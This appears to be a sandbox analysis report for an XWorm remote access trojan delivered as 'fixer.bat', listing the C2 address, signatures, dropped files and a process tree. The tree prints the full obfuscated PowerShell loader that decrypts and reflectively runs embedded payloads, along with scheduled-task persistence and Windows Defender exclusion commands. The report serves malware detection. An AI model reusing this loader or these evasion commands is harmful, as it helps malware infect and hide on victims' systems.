Analysis

  • max time kernel
    37s
  • max time network
    38s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240426-en
  • resource tags

    arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    01/06/2024, 08:22

General

  • Target
    fixer.bat
  • Size 88KB
  • Sample240601-j9s14sfc41
  • SHA256 9dda0e575a133a77c6875c92f5749fd23e7522e17b7abab741a14ad50b7ba833
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • xworm

C2
  • movie-buddy.gl.at.ply.gg:40572

Attributes
  • Install_directory

    %Public%

  • install_file

    Runtime Broker.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops startup file 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Modifies registry class 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\fixer.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3124
    • C:\Windows\system32\net.exe
      net file
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1040
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 file
        3⤵
          PID:2476
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VR+eOn3wLSvgp0FREd6usaXDBdd/ifgqMzCqfEQSJxE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D+0Hhw9QG/X6TQoVNa+B1g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $hHCjm=New-Object System.IO.MemoryStream(,$param_var); $MjNBp=New-Object System.IO.MemoryStream; $cyqkY=New-Object System.IO.Compression.GZipStream($hHCjm, [IO.Compression.CompressionMode]::Decompress); $cyqkY.CopyTo($MjNBp); $cyqkY.Dispose(); $hHCjm.Dispose(); $MjNBp.Dispose(); $MjNBp.ToArray();}function execute_function($param_var,$param2_var){ $ILtmu=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $YHkEa=$ILtmu.EntryPoint; $YHkEa.Invoke($null, $param2_var);}$XmQRG = 'C:\Users\Admin\AppData\Local\Temp\fixer.bat';$host.UI.RawUI.WindowTitle = $XmQRG;$YkELo=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($XmQRG).Split([Environment]::NewLine);foreach ($izSch in $YkELo) { if ($izSch.StartsWith('xHKZaTmGffiyfsNVmown')) { $wrsGY=$izSch.Substring(20); break; }}$payloads_var=[string[]]$wrsGY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        2⤵
          PID:4752
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2272
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_583_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_583.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4312
          • C:\Windows\System32\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_583.vbs"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:856
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_583.bat" "
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:3548
              • C:\Windows\system32\net.exe
                net file
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:4860
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 file
                  6⤵
                    PID:2764
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VR+eOn3wLSvgp0FREd6usaXDBdd/ifgqMzCqfEQSJxE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D+0Hhw9QG/X6TQoVNa+B1g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $hHCjm=New-Object System.IO.MemoryStream(,$param_var); $MjNBp=New-Object System.IO.MemoryStream; $cyqkY=New-Object System.IO.Compression.GZipStream($hHCjm, [IO.Compression.CompressionMode]::Decompress); $cyqkY.CopyTo($MjNBp); $cyqkY.Dispose(); $hHCjm.Dispose(); $MjNBp.Dispose(); $MjNBp.ToArray();}function execute_function($param_var,$param2_var){ $ILtmu=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $YHkEa=$ILtmu.EntryPoint; $YHkEa.Invoke($null, $param2_var);}$XmQRG = 'C:\Users\Admin\AppData\Roaming\Windows_Log_583.bat';$host.UI.RawUI.WindowTitle = $XmQRG;$YkELo=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($XmQRG).Split([Environment]::NewLine);foreach ($izSch in $YkELo) { if ($izSch.StartsWith('xHKZaTmGffiyfsNVmown')) { $wrsGY=$izSch.Substring(20); break; }}$payloads_var=[string[]]$wrsGY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                  5⤵
                    PID:1536
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                    5⤵
                    • Blocklisted process makes network request
                    • Command and Scripting Interpreter: PowerShell
                    • Drops startup file
                    • Adds Run key to start application
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of SetWindowsHookEx
                    • Suspicious use of WriteProcessMemory
                    PID:3508
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
                      6⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      PID:1132
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
                      6⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      PID:224
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\Runtime Broker.exe'
                      6⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      PID:1976
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Runtime Broker.exe'
                      6⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      PID:4888
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpDA81.tmp.bat""
                      6⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4024
                      • C:\Windows\system32\timeout.exe
                        timeout 3
                        7⤵
                        • Delays execution with timeout.exe
                        PID:3020

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 3KB
                • SHA256 e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6
                • MD5 SHA1 SHA512

                StartupProfileData-Interactive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
                • Size 1KB
                • SHA256 4d684f3c0fdaf79abec51fb181b2aef1a9ce532408bdc06d6aa6b0c114b699e7
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 cb0bff45abfcccadc000e77840ccf5004ae4197a8d98baab877e6e9c238bba0c
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 e818d49edbec3553b77c8a400c04fc88b601614946c281fc9c86acf9498010e0
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 f17648922a442aed77374620c12e8a0fb492290a191204ccdb1eca3dcf2d6258
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_xzuaoncl.0nj.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xzuaoncl.0nj.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                tmpDA81.tmp.bat

                • Path C:\Users\Admin\AppData\Local\Temp\tmpDA81.tmp.bat
                • Size 171B
                • SHA256 d93f9bbb1e7613b7d354be6333a7a5eac2c3019c626d9f00973d4bdb697906ae
                • MD5 SHA1 SHA512

                Windows_Log_583.bat

                • Path C:\Users\Admin\AppData\Roaming\Windows_Log_583.bat
                • Size 88KB
                • SHA256 9dda0e575a133a77c6875c92f5749fd23e7522e17b7abab741a14ad50b7ba833
                • MD5 SHA1 SHA512 SSDEEP

                Windows_Log_583.vbs

                • Path C:\Users\Admin\AppData\Roaming\Windows_Log_583.vbs
                • Size 115B
                • SHA256 42ff0396b3f9accbb6fe993139b377dfa0291b4c8e27930aa86406fbbaf02fdf
                • MD5 SHA1 SHA512

                memory/2272-12-0x00007FFDFEE30000-0x00007FFDFF8F2000-memory.dmp

                memory/2272-15-0x0000029CCA010000-0x0000029CCA022000-memory.dmp

                memory/2272-14-0x0000029CCA000000-0x0000029CCA008000-memory.dmp

                memory/2272-45-0x00007FFDFEE30000-0x00007FFDFF8F2000-memory.dmp

                memory/2272-13-0x0000029CCA420000-0x0000029CCA466000-memory.dmp

                memory/2272-0-0x00007FFDFEE33000-0x00007FFDFEE35000-memory.dmp

                memory/2272-11-0x00007FFDFEE30000-0x00007FFDFF8F2000-memory.dmp

                memory/2272-9-0x0000029CC9FD0000-0x0000029CC9FF2000-memory.dmp

                memory/2272-10-0x00007FFDFEE30000-0x00007FFDFF8F2000-memory.dmp

                memory/3508-43-0x0000025B71C40000-0x0000025B71C52000-memory.dmp

                memory/3508-44-0x0000025B71ED0000-0x0000025B71EE6000-memory.dmp